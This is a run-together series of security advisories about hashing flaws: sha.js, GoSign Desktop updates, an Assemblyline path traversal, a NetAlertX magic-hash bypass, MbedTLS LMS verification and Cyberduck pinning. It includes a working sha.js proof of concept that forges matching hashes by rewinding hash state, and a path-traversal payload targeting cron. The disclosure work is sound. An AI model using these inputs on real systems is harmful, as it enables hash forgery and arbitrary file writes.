A recent research preprint presents a novel cryptanalysis approach called 'Inverse Dimensionalization' targeting the SHA-256 hash function. The researchers found pairs of inputs producing outputs with an unusually high bit similarity—174 out of 256 bits matching—within seconds on modest hardware. This result is not a collision but indicates a statistically anomalous structural property of SHA-256. While no direct exploit or collision is demonstrated, the findings could have implications for the perceived cryptographic strength of SHA-256. The research is preliminary, with no known exploits in the wild, and its practical impact remains uncertain. European organizations relying on SHA-256 for data integrity, digital signatures, or blockchain technologies should monitor developments closely. Mitigation involves staying updated on cryptographic research and preparing for potential future vulnerabilities. Countries with significant financial, governmental, and technological sectors using SHA-256 extensively are most likely to be affected. The severity is assessed as medium due to the theoretical nature of the findings and lack of immediate exploitability.
GoSign Desktop versions 2.4.0 and earlier use an unsigned update manifest for distributing application updates. The manifest contains package URLs and SHA-256 hashes but is not digitally signed, so its authenticity relies solely on the underlying TLS channel. In affected versions, TLS certificate validation can be disabled when a proxy is configured, allowing an attacker who can intercept network traffic to supply a malicious update manifest and corresponding package with a matching hash. This can cause the client to download and install a tampered update, resulting in arbitrary code execution with the privileges of the GoSign Desktop user on Windows and macOS, or with elevated privileges on some Linux deployments. A local attacker who can modify proxy settings may also abuse this behavior to escalate privileges by forcing installation of a crafted update.
### Summary
This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.
Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
### Details
See PoC
### PoC
```js
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
```
Output:
```
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
```
Or just:
```console
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
```
### Impact
1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`
This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)
4. DoS on `{length:'1e99'}`
5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
The Assemblyline 4 Service Client interfaces with the API to fetch tasks and publish the result for a service in Assemblyline 4. In versions below 4.6.1.dev138, the Assemblyline 4 Service Client (task_handler.py) accepts a SHA-256 value returned by the service server and uses it directly as a local file name.A malicious or compromised server (or any MITM that can speak to client) can return a path-traversal payload such as `../../../etc/cron.d/evil` and force the client to write the downloaded bytes to an arbitrary location on disk. This is fixed in version 4.6.1.dev138.
NetAlertX is a network, presence scanner, and alert framework. Prior to version 25.6.7, a vulnerability in the authentication logic allows users to bypass password verification using SHA-256 magic hashes, due to loose comparison in PHP. In vulnerable versions of the application, a password comparison is performed using the `==` operator at line 40 in front/index.php. This introduces a security issue where specially crafted "magic hash" values that evaluate to true in a loose comparison can bypass authentication. Because of the use of `==` instead of the strict `===`, different strings that begin with 0e and are followed by only digits can be interpreted as scientific notation (i.e., zero) and treated as equal. This issue falls under the Login Bypass vulnerability class. Users with certain "weird" passwords that produce magic hashes are particularly affected. Services relying on this logic are at risk of unauthorized access. Version 25.6.7 fixes the vulnerability.
In MbedTLS 3.3.0 before 3.6.4, mbedtls_lms_verify may accept invalid signatures if hash computation fails and internal errors go unchecked, enabling LMS (Leighton-Micali Signature) forgery in a fault scenario. Specifically, unchecked return values in mbedtls_lms_verify allow an attacker (who can induce a hardware hash accelerator fault) to bypass LMS signature verification by reusing stale stack data, resulting in acceptance of an invalid signature. In mbedtls_lms_verify, the return values of the internal Merkle tree functions create_merkle_leaf_value and create_merkle_internal_value are not checked. These functions return an integer that indicates whether the call succeeded or not. If a failure occurs, the output buffer (Tc_candidate_root_node) may remain uninitialized, and the result of the signature verification is unpredictable. When the software implementation of SHA-256 is used, these functions will not fail. However, with hardware-accelerated hashing, an attacker could use fault injection against the accelerator to bypass verification.
Cyberduck and Mountain Duck improper handle TLS certificate pinning for untrusted certificates (e.g., self-signed), since the certificate fingerprint is stored as SHA-1, although SHA-1 is considered weak.
This issue affects Cyberduck: through 9.1.6; Mountain Duck: through 4.17.5.
